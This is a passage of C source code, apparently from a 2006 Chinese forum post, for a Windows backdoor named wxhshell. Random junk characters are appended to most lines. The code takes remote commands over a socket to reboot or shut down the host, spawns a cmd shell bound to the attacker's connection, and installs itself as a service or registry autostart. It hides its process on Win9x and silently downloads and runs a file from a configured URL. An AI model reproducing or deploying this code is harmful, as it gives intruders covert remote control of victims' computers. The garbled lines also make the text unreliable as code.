  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <AU*lLZ  
  } pGD@R=8  
  else { evZcoH3~  
}Xj25` x  
    switch(cmd[0]) { ,X4b~)  
  _(-jk4 L  
  // 帮助 <WP@q&^k\  
  case '?': { 5x+]uABE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #@FA=p[%  
    break; qfsPX6]  
  } :)1"yo\  
  // 安装 %`F;i)Zz  
  case 'i': { 0&s6PS%  
    if(Install()) ,l~<|\4,wv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |aDBp  
    else ~N!HxQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  GK/Po51  
    break; rZ?:$],U!  
    } JpS}X\]i  
  // 卸载 6]v}  
  case 'r': { ~5,^CTAM  
    if(Uninstall()) MZGhN brd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l 5-[a  
    else 0O"W0s"T#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o*Qa*<n  
    break; uzdPA'u  
    } oPi>]#X  
  // 显示 wxhshell 所在路径 1Ms]\<^j  
  case 'p': { g-qXS]y7  
    char svExeFile[MAX_PATH]; >NUbk9}J4  
    strcpy(svExeFile,"\n\r"); u%C oo  
      strcat(svExeFile,ExeFile); n#+EG3  
        send(wsh,svExeFile,strlen(svExeFile),0); F` ybe\  
    break; xFF!)k #  
    } v@zi?D K  
  // 重启 Gd!-fqNa'x  
  case 'b': { ? Ek)" l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M!,H0( @G  
    if(Boot(REBOOT)) D|q~n)TW5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _)45G"M  
    else { O|H:  
    closesocket(wsh); &vrQ *jX  
    ExitThread(0); s70Z&3A  
    } wsmgkg  
    break; HAn{^8"@  
    } -+"#G?g  
  // 关机 poBeEpbs  
  case 'd': { 6nTM~]5.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WJq>%<#  
    if(Boot(SHUTDOWN)) c9+G Qp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G[KjK$.Ts?  
    else { *?<N3Rr*  
    closesocket(wsh); x^K4&'</  
    ExitThread(0); HJ&P[zV^  
    } {VAih-y  
    break; _^E NRk@  
    } @bg9 }Z%\h  
  // 获取shell ?;,;  
  case 's': { h~>1 -T8  
    CmdShell(wsh); aEN` `  
    closesocket(wsh); %O`@}Tg  
    ExitThread(0); m]jA(  
    break; EL~$7 J  
  } IWE([<i}i[  
  // 退出 mI8EeMa{  
  case 'x': { `Na()r$T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "VZ1LVI  
    CloseIt(wsh); y`RzcXblIZ  
    break; dgP e H8_  
    } ;g0s1nz  
  // 离开 rMwa6ZO'm;  
  case 'q': { jf3Zy :*K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t2,II\K l  
    closesocket(wsh); xJ3C^b%H  
    WSACleanup(); FQ>$Ps*a[  
    exit(1); B_d\eD  
    break; t/[lA=0 )2  
        } yv-R<c!'  
  } e bze_:  
  } +iC:/CJL  
}T[ @G6#  
  // 提示信息 kx&JY9(&#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ins(RWO  
} b^HDN(v  
  } \=0;EI-j  
]1++$Ej  
  return; )|*Qs${tF  
} d7^ `  
OG}890$n  
// shell模块句柄 hwGK),?"+  
int CmdShell(SOCKET sock) :[<Y#EX.  
{ O}"oz3H  
STARTUPINFO si; EA~xxKq  
ZeroMemory(&si,sizeof(si)); d[t0K]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _s;y0$O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +Q+O$-a <  
PROCESS_INFORMATION ProcessInfo; N|i>|2EB  
char cmdline[]="cmd"; 4<[?qd 3v=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [WDzaRzd  
  return 0; =%|`gZ  
} 2_pF#M9  
Onx6Fy]L  
// 自身启动模式 _&, A  
int StartFromService(void) |!(8c>]Bo  
{ l`\L@~ln  
typedef struct ~DD _n  
{ L$=R/l  
  DWORD ExitStatus; M !6Fnj  
  DWORD PebBaseAddress; >n,_Aj c  
  DWORD AffinityMask; Q+1ot,R  
  DWORD BasePriority; 437Wy+Q|e  
  ULONG UniqueProcessId; !sX$?P%U  
  ULONG InheritedFromUniqueProcessId; jnqp" Ult>  
}   PROCESS_BASIC_INFORMATION; LGL;3EI  
+c_AAMe  
PROCNTQSIP NtQueryInformationProcess; <~m qb=qA$  
@_`r*Tb)dM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "[ LUv5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g/C 7wc  
|&@q$d  
  HANDLE             hProcess; \>S.nW  
  PROCESS_BASIC_INFORMATION pbi; PSc=k0D  
}#1.$a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  Z`*V9  
  if(NULL == hInst ) return 0; $+PioSq  
SGl|{+(A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U)kyq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mH,s!6j?Vp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4>(K~v5;N  
Mg\588cI  
  if (!NtQueryInformationProcess) return 0; #m|el@)  
r)S:= Is5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I~l_ky|a !  
  if(!hProcess) return 0; S+06pj4Ie  
|6d:k~p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HJr/N)d  
6teu_FS  
  CloseHandle(hProcess); Q3>qT84  
r^"o!,H9q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E{6ku=2F  
if(hProcess==NULL) return 0; v Z10Rb8  
+_:p8, 5o  
HMODULE hMod; AkW,Fp1e  
char procName[255]; Y<;C>Rs  
unsigned long cbNeeded; >> cW0I/`  
X)SUFhP\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _dd_Z40R  
KdR\a&[MA  
  CloseHandle(hProcess); O#igH  
26~rEOgJ  
if(strstr(procName,"services")) return 1; // 以服务启动 ;s3@(OnjZ  
R{}_Qb  
  return 0; // 注册表启动 !& c%!*  
} > X  AB#  
(NUXK  
// 主模块 f]1 $`  
int StartWxhshell(LPSTR lpCmdLine) o,k#ft<  
{ Ty b_'|?rW  
  SOCKET wsl; T\wOGaCW  
BOOL val=TRUE; IO #)r[JZ  
  int port=0; {$N\@q@v~  
  struct sockaddr_in door; <=uO*s>%  
ruqE]Hx9(  
  if(wscfg.ws_autoins) Install(); JK)|a@BtOT  
W{IP}mM  
port=atoi(lpCmdLine); [ 2@Lc3<  
E2 'Al6^C  
if(port<=0) port=wscfg.ws_port; yYOV:3!"  
6AD&%v  
  WSADATA data; VFV8ik)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w 8o?wx*  
I-.? qcy~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gu3)HCZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >`3 0 ib  
  door.sin_family = AF_INET; NO*~C',cI/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _)-2h[  
  door.sin_port = htons(port); &\?{%xj  
N cHCcc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J'cE@(US  
closesocket(wsl); .WOF:Nu4  
return 1; IwFf8? 3  
} M-Nn \h$,  
KI<x`b  
  if(listen(wsl,2) == INVALID_SOCKET) { f].z.  
closesocket(wsl); z=k*D^X  
return 1; ZbH6$2r  
} D622:Y886  
  Wxhshell(wsl); z"5e3w  
  WSACleanup(); tSDp>0yZ3  
" 6$+B/5  
return 0; g 'L$m|  
"z.!h(Eq  
} y^p%/p%  
j@Us7Q)A(  
// 以NT服务方式启动 hy"p8j7_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bv[*jr;45  
{ ,v| vgt  
DWORD   status = 0; [-[|4|CnOm  
  DWORD   specificError = 0xfffffff; fv3)#>Dgp>  
/? j^Qu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8HO)",+I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zJ0'KHF}o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8/34{2048  
  serviceStatus.dwWin32ExitCode     = 0; nDC5/xB  
  serviceStatus.dwServiceSpecificExitCode = 0; qmnCa&C9  
  serviceStatus.dwCheckPoint       = 0; RDG,f/L2  
  serviceStatus.dwWaitHint       = 0; qfY=!|O  
/|e"0;{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;LT#/t)}<  
  if (hServiceStatusHandle==0) return; Q~*3Z4)j  
U|h@Pw z  
status = GetLastError(); CvTgtZ '  
  if (status!=NO_ERROR) \v_t: "  
{ 7L:R&W6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qf] OSd  
    serviceStatus.dwCheckPoint       = 0; `|JQ)!Agx  
    serviceStatus.dwWaitHint       = 0; OaxE3bDT  
    serviceStatus.dwWin32ExitCode     = status; tX *L_  
    serviceStatus.dwServiceSpecificExitCode = specificError; CtDS lJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PzTTL=G +  
    return; EZiGi[t7  
  } &4MVk3SLx#  
: [vp.vw}/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h$zPQ""8  
  serviceStatus.dwCheckPoint       = 0; [dL?N  
  serviceStatus.dwWaitHint       = 0; -p !KsU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Tf[-8H<  
} M/sqOhg  
d0Kg,HB  
// 处理NT服务事件,比如:启动、停止 a( {`<F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &<i>)Ss  
{ U7fE6&g  
switch(fdwControl) g?o$:>c  
{ /[#{#:lo2  
case SERVICE_CONTROL_STOP: L@R%*-a  
  serviceStatus.dwWin32ExitCode = 0; <^ )0M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1 }q[8q  
  serviceStatus.dwCheckPoint   = 0; J&:0ytG  
  serviceStatus.dwWaitHint     = 0; +TX p;6pA  
  { dl$l5z\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _5YL !v&  
  } R QO{fC  
  return; NtOR/*  
case SERVICE_CONTROL_PAUSE: VZlvmN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "AVj]jR  
  break; k~?}z.g(  
case SERVICE_CONTROL_CONTINUE: v <Ze$^ e&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )J88gMk+  
  break; RBgkC+2  
case SERVICE_CONTROL_INTERROGATE: izW l5}+'B  
  break; ;09J;sf  
}; |]\bgh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +[ }]a3)  
} /~tfP  
6k3l/~R  
// 标准应用程序主函数 fAUsJ[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s* YFN#Wuc  
{ K :q-[\G  
u#UeJu O  
// 获取操作系统版本 et ~gO!1:*  
OsIsNt=GetOsVer(); ta6 WZu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;qk~>  
FW.dHvNX  
  // 从命令行安装 `Zi#rr|)L  
  if(strpbrk(lpCmdLine,"iI")) Install(); o5$K^2^g  
D\l.?<C  
  // 下载执行文件 _0j}(Q>|H#  
if(wscfg.ws_downexe) { S+>]8ZY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x)yf!Dv5$  
  WinExec(wscfg.ws_filenam,SW_HIDE); |f}NO~CA  
} &lS0"`J=  
tx1jBh:e=  
if(!OsIsNt) { z|?R=;,u`  
// 如果时win9x,隐藏进程并且设置为注册表启动 Po4cbFZ  
HideProc(); |8`;55G  
StartWxhshell(lpCmdLine); \j;uN#)28  
} lM1!2d'P  
else R39R$\  
  if(StartFromService()) 5)o IPHXw  
  // 以服务方式启动 B:r-')!0$#  
  StartServiceCtrlDispatcher(DispatchTable); "=n8PNV/ c  
else ;Gs**BB&  
  // 普通方式启动 C;) xjZiR  
  StartWxhshell(lpCmdLine); _~(Xd@c(  
@ :4Kk 4g1  
return 0; pNJM]-D]m~  
}
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只看该作者 1 发表于: 2006-10-10
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